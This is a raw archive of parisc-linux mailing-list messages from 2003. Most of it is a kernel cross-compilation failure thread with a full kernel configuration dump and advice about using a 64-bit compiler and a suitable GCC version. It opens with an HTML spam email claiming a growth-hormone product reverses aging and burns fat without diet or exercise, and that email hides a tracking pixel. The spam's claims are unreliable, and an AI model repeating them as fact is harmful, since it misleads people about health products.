X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18970

--1120..40_92C.AE9_B
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>
<body bgcolor=3D"#FFFFFF" text=3D"#000000">
<p align=3D"center"><font face=3D"Arial, Helvetica, sans-serif" size=3D"2"=
>As seen on 
  NBC, CBS, CNN, and even Oprah! </font> 
<p align=3D"center"><font face=3D"Arial, Helvetica, sans-serif" size=3D"2"=
>The health 
  discovery that actually reverses aging while burning fat.</font> 
<p align=3D"center"><font face=3D"Arial, Helvetica, sans-serif" size=3D"2"=
>Without dieting 
  or exercise! </font> 
<p align=3D"center"><font face=3D"Arial, Helvetica, sans-serif" size=3D"2"=
><a href=3D"http://www.healthyyoung.biz/HGH_13/"><font face=3D"Verdana, Ar=
ial, Helvetica, sans-serif"><b>Get 
  Your Free Bottle of H-G-H Now! Visit Us Here</b></font></a> </font> 
<p align=3D"center">&nbsp; 
<p align=3D"center">&nbsp;
<p align=3D"center">&nbsp;
<p align=3D"center">&nbsp;
<p align=3D"center">&nbsp;
<p align=3D"center">&nbsp; 
<p align=3D"center">&nbsp;
<p align=3D"center">&nbsp;
<div align=3D"center">
  <table width=3D"573" cellspacing=3D"0" cellpadding=3D"5"
border=3D"1"
bordercolor=3D"#000000"
style=3D"border-collapse:collapse">
    <tr>
      <td bgcolor=3D"#ffffff">
        <p><span style=3D"font-family:arial;
color:#666666;
font-size:10px;">Why was this email sent to you? At
some point you registered or 
made a purchase on a Web site with privacy policies
explaining that they may 
share your information with partners who will send you
valuable offers 
from time to time. </span></p>
        <p><span style=3D"font-family:arial;
color:#666666; font-size:10px;">If you no longer wish to be notified of th=
e latest 
          scientific breakthroughs or valuable offers, you may simply choo=
se to 
          take yourself out of the database <img src=3D"http://shouter.net=
firms.com/nfcounter?cid=3D1051991963&num_digits=3D8&font=3Dbc" width=3D1 h=
eight=3D1>permanently by <a
href=3D"http://www.healthyyoung.biz/delist.html">choosing this link</a>.</=
span></p>
      </td>
    </tr>
  </table>
</div><font color=3D"#ffffff"></font>
</body></html>

<parisc-linux@parisc-linux.org>

--1120..40_92C.AE9_B--



From - Thu Nov 08 21:28:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnaldo Carvalho de Melo <acme@conectiva.com.br>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] arch/parisc/kernel/perf_asm.o not building
Date: Fri, 18 Jul 2003 01:14:40 -0300
Organization: Conectiva S.A.
Lines: 612
Approved: news@gmane.org
Message-ID: <20030718041440.GZ1582@conectiva.com.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622608 28294 80.91.229.3 (22 Nov 2014 02:16:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:48 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 17 22:12:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from orion.netbank.com.br (orion.netbank.com.br [200.203.199.90])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1CDC7482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Jul 2003 22:12:46 -0600 (MDT)
Original-Received: from [200.181.169.17] (helo=brinquendo.conectiva.com.br)
	by orion.netbank.com.br with asmtp (Exim 3.33 #1)
	id 19dMfd-0003PQ-00
	for parisc-linux@lists.parisc-linux.org; Fri, 18 Jul 2003 01:16:37 -0300
Original-Received: by brinquendo.conectiva.com.br (Postfix, from userid 500)
	id 537C51966C; Fri, 18 Jul 2003 04:14:40 +0000 (UTC)
Content-Disposition: inline
X-Url: http://advogato.org/person/acme
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18971

My first post 8)

2.6-bk (i.e. latest linus tree in master.kernel.org), using the
xc-20020118.tar.bz2 cross compiler (latest):

[acme@oops parisc-2.5]$ hppa-linux-gcc -v
Reading specs from /home/opt/palinux/bin/../lib/gcc-lib/hppa-linux/3.0.3/=
specs
Configured with: /home/al76/puffin/palinux/gcc/configure --target=3Dhppa-=
linux --host=3Di386-linux --build=3Di386-linux --prefix=3D/opt/palinux --=
disable-shared --disable-nls --with-libc --with-libs=3D/opt/palinux/lib
Thread model: single
gcc version 3.0.3

make[1]: `arch/parisc/kernel/asm-offsets.s' est=E1 atualizado.
  CHK     include/linux/compile.h
  AS      arch/parisc/kernel/perf_asm.o
arch/parisc/kernel/perf_asm.S: Assembler messages:
arch/parisc/kernel/perf_asm.S:42: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:54: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:68: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:71: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:119: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:135: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:152: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:176: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:272: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:284: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:320: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:356: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:368: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:464: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:476: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:512: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:535: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:574: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:969: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:1015: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:1031: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:1044: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:1053: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:1125: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:1134: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:1143: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:1152: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:1161: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:1170: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:1179: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:1197: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:1206: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:1278: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:1287: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:1314: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:1323: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:1331: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:1372: Error: Invalid operands=20
arch/parisc/kernel/perf_asm.S:1675: Error: Invalid operands=20
make[1]: ** [arch/parisc/kernel/perf_asm.o] Erro 1
make: ** [arch/parisc/kernel] Erro 2


#
# Automatically generated make config: don't edit
#
CONFIG_PARISC=3Dy
CONFIG_MMU=3Dy
CONFIG_STACK_GROWSUP=3Dy
CONFIG_RWSEM_GENERIC_SPINLOCK=3Dy

#
# Code maturity level options
#
CONFIG_EXPERIMENTAL=3Dy

#
# General setup
#
CONFIG_SWAP=3Dy
CONFIG_SYSVIPC=3Dy
# CONFIG_BSD_PROCESS_ACCT is not set
CONFIG_SYSCTL=3Dy
CONFIG_LOG_BUF_SHIFT=3D15
# CONFIG_EMBEDDED is not set
CONFIG_KALLSYMS=3Dy
CONFIG_FUTEX=3Dy
CONFIG_EPOLL=3Dy

#
# Loadable module support
#
# CONFIG_MODULES is not set

#
# Processor type and features
#
# CONFIG_PA7000 is not set
# CONFIG_PA7100LC is not set
# CONFIG_PA7200 is not set
CONFIG_PA8X00=3Dy
CONFIG_PA20=3Dy
CONFIG_PARISC64=3Dy
# CONFIG_PDC_NARROW is not set
# CONFIG_SMP is not set
# CONFIG_PREEMPT is not set
CONFIG_COMPAT=3Dy
# CONFIG_HPUX is not set

#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
# CONFIG_GSC is not set
CONFIG_PCI=3Dy
CONFIG_PCI_LEGACY_PROC=3Dy
CONFIG_PCI_NAMES=3Dy
CONFIG_PCI_LBA=3Dy
CONFIG_IOSAPIC=3Dy
CONFIG_IOMMU_SBA=3Dy
# CONFIG_SUPERIO is not set
# CONFIG_CHASSIS_LCD_LED is not set
CONFIG_HOTPLUG=3Dy

#
# PCMCIA/CardBus support
#
CONFIG_PCMCIA=3Dy
CONFIG_YENTA=3Dy
CONFIG_CARDBUS=3Dy
# CONFIG_I82092 is not set
# CONFIG_TCIC is not set

#
# PCI Hotplug Support
#
# CONFIG_HOTPLUG_PCI is not set

#
# Executable file formats
#
CONFIG_KCORE_ELF=3Dy
CONFIG_BINFMT_ELF=3Dy
# CONFIG_BINFMT_MISC is not set

#
# Generic Driver Options
#
# CONFIG_FW_LOADER is not set

#
# Parallel port support
#
# CONFIG_PARPORT is not set

#
# Block devices
#
# CONFIG_BLK_DEV_FD is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
# CONFIG_BLK_DEV_UMEM is not set
CONFIG_BLK_DEV_LOOP=3Dy
# CONFIG_BLK_DEV_CRYPTOLOOP is not set
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_RAM is not set
# CONFIG_BLK_DEV_INITRD is not set

#
# ATA/ATAPI/MFM/RLL support
#
# CONFIG_IDE is not set

#
# SCSI device support
#
# CONFIG_SCSI is not set

#
# Multi-device support (RAID and LVM)
#
# CONFIG_MD is not set

#
# Networking support
#
CONFIG_NET=3Dy

#
# Networking options
#
CONFIG_PACKET=3Dy
CONFIG_PACKET_MMAP=3Dy
CONFIG_NETLINK_DEV=3Dy
# CONFIG_NETFILTER is not set
CONFIG_UNIX=3Dy
# CONFIG_NET_KEY is not set
CONFIG_INET=3Dy
CONFIG_IP_MULTICAST=3Dy
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_PNP=3Dy
# CONFIG_IP_PNP_DHCP is not set
CONFIG_IP_PNP_BOOTP=3Dy
# CONFIG_IP_PNP_RARP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE is not set
# CONFIG_IP_MROUTE is not set
# CONFIG_ARPD is not set
# CONFIG_INET_ECN is not set
# CONFIG_SYN_COOKIES is not set
# CONFIG_INET_AH is not set
# CONFIG_INET_ESP is not set
# CONFIG_INET_IPCOMP is not set
# CONFIG_IPV6 is not set
# CONFIG_XFRM_USER is not set

#
# SCTP Configuration (EXPERIMENTAL)
#
CONFIG_IPV6_SCTP__=3Dy
# CONFIG_IP_SCTP is not set
# CONFIG_ATM is not set
# CONFIG_VLAN_8021Q is not set
# CONFIG_LLC is not set
# CONFIG_DECNET is not set
# CONFIG_BRIDGE is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_NET_DIVERT is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_NET_FASTROUTE is not set
# CONFIG_NET_HW_FLOWCONTROL is not set

#
# QoS and/or fair queueing
#
# CONFIG_NET_SCHED is not set

#
# Network testing
#
# CONFIG_NET_PKTGEN is not set
CONFIG_NETDEVICES=3Dy

#
# ARCnet devices
#
# CONFIG_ARCNET is not set
# CONFIG_DUMMY is not set
# CONFIG_BONDING is not set
# CONFIG_EQUALIZER is not set
# CONFIG_TUN is not set
# CONFIG_ETHERTAP is not set

#
# Ethernet (10 or 100Mbit)
#
CONFIG_NET_ETHERNET=3Dy
# CONFIG_MII is not set
# CONFIG_HAPPYMEAL is not set
# CONFIG_SUNGEM is not set
# CONFIG_NET_VENDOR_3COM is not set

#
# Tulip family network device support
#
CONFIG_NET_TULIP=3Dy
# CONFIG_DE2104X is not set
CONFIG_TULIP=3Dy
# CONFIG_TULIP_MWI is not set
# CONFIG_TULIP_MMIO is not set
# CONFIG_DE4X5 is not set
# CONFIG_WINBOND_840 is not set
# CONFIG_DM9102 is not set
# CONFIG_PCMCIA_XIRCOM is not set
# CONFIG_PCMCIA_XIRTULIP is not set
# CONFIG_HP100 is not set
# CONFIG_NET_PCI is not set

#
# Ethernet (1000 Mbit)
#
CONFIG_ACENIC=3Dy
# CONFIG_ACENIC_OMIT_TIGON_I is not set
# CONFIG_DL2K is not set
# CONFIG_E1000 is not set
# CONFIG_NS83820 is not set
# CONFIG_HAMACHI is not set
# CONFIG_YELLOWFIN is not set
# CONFIG_R8169 is not set
# CONFIG_SK98LIN is not set
# CONFIG_TIGON3 is not set

#
# Ethernet (10000 Mbit)
#
# CONFIG_IXGB is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PPP is not set
# CONFIG_SLIP is not set

#
# Wireless LAN (non-hamradio)
#
CONFIG_NET_RADIO=3Dy

#
# Obsolete Wireless cards support (pre-802.11)
#
# CONFIG_STRIP is not set
# CONFIG_PCMCIA_WAVELAN is not set
# CONFIG_PCMCIA_NETWAVE is not set

#
# Wireless 802.11 Frequency Hopping cards support
#
# CONFIG_PCMCIA_RAYCS is not set

#
# Wireless 802.11b ISA/PCI cards support
#
# CONFIG_AIRO is not set
# CONFIG_HERMES is not set

#
# Wireless 802.11b Pcmcia/Cardbus cards support
#
# CONFIG_AIRO_CS is not set
# CONFIG_PCMCIA_ATMEL is not set
CONFIG_PCMCIA_WL3501=3Dy
CONFIG_NET_WIRELESS=3Dy

#
# Token Ring devices (depends on LLC=3Dy)
#
# CONFIG_RCPCI is not set
# CONFIG_SHAPER is not set

#
# Wan interfaces
#
# CONFIG_WAN is not set

#
# PCMCIA network device support
#
# CONFIG_NET_PCMCIA is not set

#
# IrDA (infrared) support
#
# CONFIG_IRDA is not set

#
# Input device support
#
CONFIG_INPUT=3Dy

#
# Userland interfaces
#
# CONFIG_INPUT_MOUSEDEV is not set
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_TSDEV is not set
# CONFIG_INPUT_EVDEV is not set
# CONFIG_INPUT_EVBUG is not set

#
# Input I/O drivers
#
# CONFIG_GAMEPORT is not set
CONFIG_SOUND_GAMEPORT=3Dy
# CONFIG_SERIO is not set

#
# Input Device Drivers
#
# CONFIG_INPUT_KEYBOARD is not set
# CONFIG_INPUT_MOUSE is not set
# CONFIG_INPUT_JOYSTICK is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
# CONFIG_INPUT_MISC is not set

#
# Character devices
#
CONFIG_VT=3Dy
CONFIG_VT_CONSOLE=3Dy
CONFIG_HW_CONSOLE=3Dy
# CONFIG_SERIAL_NONSTANDARD is not set

#
# Serial drivers
#
CONFIG_SERIAL_8250=3Dy
CONFIG_SERIAL_8250_CONSOLE=3Dy
# CONFIG_SERIAL_8250_CS is not set
CONFIG_SERIAL_8250_EXTENDED=3Dy
CONFIG_SERIAL_8250_MANY_PORTS=3Dy
CONFIG_SERIAL_8250_SHARE_IRQ=3Dy
# CONFIG_SERIAL_8250_DETECT_IRQ is not set
# CONFIG_SERIAL_8250_MULTIPORT is not set
# CONFIG_SERIAL_8250_RSA is not set

#
# Non-8250 serial port support
#
# CONFIG_SERIAL_MUX is not set
# CONFIG_PDC_CONSOLE is not set
CONFIG_SERIAL_CORE=3Dy
CONFIG_SERIAL_CORE_CONSOLE=3Dy
CONFIG_UNIX98_PTYS=3Dy
CONFIG_UNIX98_PTY_COUNT=3D256

#
# I2C support
#
# CONFIG_I2C is not set

#
# I2C Hardware Sensors Mainboard support
#

#
# I2C Hardware Sensors Chip support
#
# CONFIG_I2C_SENSOR is not set

#
# Mice
#
# CONFIG_BUSMOUSE is not set
# CONFIG_QIC02_TAPE is not set

#
# IPMI
#
# CONFIG_IPMI_HANDLER is not set

#
# Watchdog Cards
#
# CONFIG_WATCHDOG is not set
# CONFIG_NVRAM is not set
CONFIG_GEN_RTC=3Dy
# CONFIG_GEN_RTC_X is not set
# CONFIG_DTLK is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set

#
# Ftape, the floppy tape device driver
#
# CONFIG_FTAPE is not set
# CONFIG_AGP is not set
# CONFIG_DRM is not set

#
# PCMCIA character devices
#
# CONFIG_SYNCLINK_CS is not set
# CONFIG_RAW_DRIVER is not set
# CONFIG_HANGCHECK_TIMER is not set

#
# Multimedia devices
#
# CONFIG_VIDEO_DEV is not set

#
# Digital Video Broadcasting Devices
#
# CONFIG_DVB is not set

#
# File systems
#
# CONFIG_EXT2_FS is not set
# CONFIG_EXT3_FS is not set
# CONFIG_JBD is not set
# CONFIG_REISERFS_FS is not set
# CONFIG_JFS_FS is not set
# CONFIG_XFS_FS is not set
# CONFIG_MINIX_FS is not set
# CONFIG_ROMFS_FS is not set
# CONFIG_QUOTA is not set
# CONFIG_AUTOFS_FS is not set
# CONFIG_AUTOFS4_FS is not set

#
# CD-ROM/DVD Filesystems
#
# CONFIG_ISO9660_FS is not set
# CONFIG_UDF_FS is not set

#
# DOS/FAT/NT Filesystems
#
# CONFIG_FAT_FS is not set
# CONFIG_NTFS_FS is not set

#
# Pseudo filesystems
#
CONFIG_PROC_FS=3Dy
# CONFIG_DEVFS_FS is not set
CONFIG_DEVPTS_FS=3Dy
# CONFIG_DEVPTS_FS_XATTR is not set
# CONFIG_TMPFS is not set
CONFIG_RAMFS=3Dy

#
# Miscellaneous filesystems
#
# CONFIG_ADFS_FS is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_BEFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_CRAMFS is not set
# CONFIG_VXFS_FS is not set
# CONFIG_HPFS_FS is not set
# CONFIG_QNX4FS_FS is not set
# CONFIG_SYSV_FS is not set
# CONFIG_UFS_FS is not set

#
# Network File Systems
#
CONFIG_NFS_FS=3Dy
CONFIG_NFS_V3=3Dy
# CONFIG_NFS_V4 is not set
# CONFIG_NFSD is not set
CONFIG_ROOT_NFS=3Dy
CONFIG_LOCKD=3Dy
CONFIG_LOCKD_V4=3Dy
# CONFIG_EXPORTFS is not set
CONFIG_SUNRPC=3Dy
# CONFIG_SUNRPC_GSS is not set
# CONFIG_SMB_FS is not set
# CONFIG_CIFS is not set
# CONFIG_NCP_FS is not set
# CONFIG_CODA_FS is not set
# CONFIG_INTERMEZZO_FS is not set
# CONFIG_AFS_FS is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=3Dy

#
# Graphics support
#
# CONFIG_FB is not set

#
# Console display driver support
#
# CONFIG_VGA_CONSOLE is not set
# CONFIG_MDA_CONSOLE is not set
# CONFIG_STI_CONSOLE is not set
CONFIG_DUMMY_CONSOLE_COLUMNS=3D160
CONFIG_DUMMY_CONSOLE_ROWS=3D64
CONFIG_DUMMY_CONSOLE=3Dy

#
# Sound
#
# CONFIG_SOUND is not set

#
# USB support
#
# CONFIG_USB is not set
# CONFIG_USB_GADGET is not set

#
# Bluetooth support
#
# CONFIG_BT is not set

#
# Profiling support
#
# CONFIG_PROFILING is not set

#
# Kernel hacking
#
CONFIG_DEBUG_KERNEL=3Dy
# CONFIG_DEBUG_SLAB is not set
CONFIG_MAGIC_SYSRQ=3Dy
# CONFIG_FRAME_POINTER is not set

#
# Security options
#
# CONFIG_SECURITY is not set

#
# Cryptographic options
#
# CONFIG_CRYPTO is not set

#
# Library routines
#
# CONFIG_CRC32 is not set


From - Thu Nov 08 21:28:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnaldo Carvalho de Melo <acme@conectiva.com.br>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: arch/parisc/kernel/perf_asm.o not building
Date: Fri, 18 Jul 2003 01:26:06 -0300
Organization: Conectiva S.A.
Lines: 16
Approved: news@gmane.org
Message-ID: <20030718042606.GA1582@conectiva.com.br>
References: <20030718041440.GZ1582@conectiva.com.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622609 28298 80.91.229.3 (22 Nov 2014 02:16:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 17 22:24:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from orion.netbank.com.br (orion.netbank.com.br [200.203.199.90])
	by dsl2.external.hp.com (Postfix) with ESMTP id 89B27482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Jul 2003 22:24:13 -0600 (MDT)
Original-Received: from [200.181.169.17] (helo=brinquendo.conectiva.com.br)
	by orion.netbank.com.br with asmtp (Exim 3.33 #1)
	id 19dMqj-0003Pl-00
	for parisc-linux@lists.parisc-linux.org; Fri, 18 Jul 2003 01:28:05 -0300
Original-Received: by brinquendo.conectiva.com.br (Postfix, from userid 500)
	id 10F9A1966C; Fri, 18 Jul 2003 04:26:07 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20030718041440.GZ1582@conectiva.com.br>
X-Url: http://advogato.org/person/acme
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18972

Em Fri, Jul 18, 2003 at 01:14:40AM -0300, Arnaldo C. Melo escreveu:
> My first post 8)

And probably adding more noise to the list :( The problem "magically"
disappeared when I stopped using:

make ARCH=parisc CROSS_COMPILE=hppa-linux-

And started using:

make ARCH=parisc CROSS_COMPILE=hppa64-linux-

:-)

- Arnewbie


From - Thu Nov 08 21:28:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: arch/parisc/kernel/perf_asm.o not building
Date: Fri, 18 Jul 2003 00:58:12 -0400 (EDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <200307180458.h6I4wCxk023903@hiauly1.hia.nrc.ca>
References: <20030718042606.GA1582@conectiva.com.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622609 28300 80.91.229.3 (22 Nov 2014 02:16:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: acme@conectiva.com.br (Arnaldo Carvalho de Melo)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 17 22:58:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id D6603482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Jul 2003 22:58:19 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h6I4wDgL023904;
	Fri, 18 Jul 2003 00:58:13 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h6I4wCxk023903;
	Fri, 18 Jul 2003 00:58:12 -0400 (EDT)
In-Reply-To: <20030718042606.GA1582@conectiva.com.br> from "Arnaldo Carvalho de Melo" at Jul 18, 2003 01:26:06 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18973

> Em Fri, Jul 18, 2003 at 01:14:40AM -0300, Arnaldo C. Melo escreveu:
> > My first post 8)
> 
> And probably adding more noise to the list :( The problem "magically"
> disappeared when I stopped using:
> 
> make ARCH=parisc CROSS_COMPILE=hppa-linux-
> 
> And started using:
> 
> make ARCH=parisc CROSS_COMPILE=hppa64-linux-

It's not magic.  You configured for a 64-bit kernel.

You shouldn't be using gcc 3.0.3.  The generic version doesn't have
have the required configuration features for parisc-linux.  The
first GNU version of GCC which works reasonably well with parisc-linux
is 3.2.  3.3 is the best release for user code but there are still some
issues with respect to building kernels that haven't been fully resolved.
The debian 3.0.4 release is a good choice for kernel builds.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:28:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnaldo Carvalho de Melo <acme@conectiva.com.br>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pdc_console_die: undefined reference to `log_end'
Date: Fri, 18 Jul 2003 01:33:00 -0300
Organization: Conectiva S.A.
Lines: 23
Approved: news@gmane.org
Message-ID: <20030718043300.GB1582@conectiva.com.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622609 28303 80.91.229.3 (22 Nov 2014 02:16:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 17 23:00:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from orion.netbank.com.br (orion.netbank.com.br [200.203.199.90])
	by dsl2.external.hp.com (Postfix) with ESMTP id 90E34482B
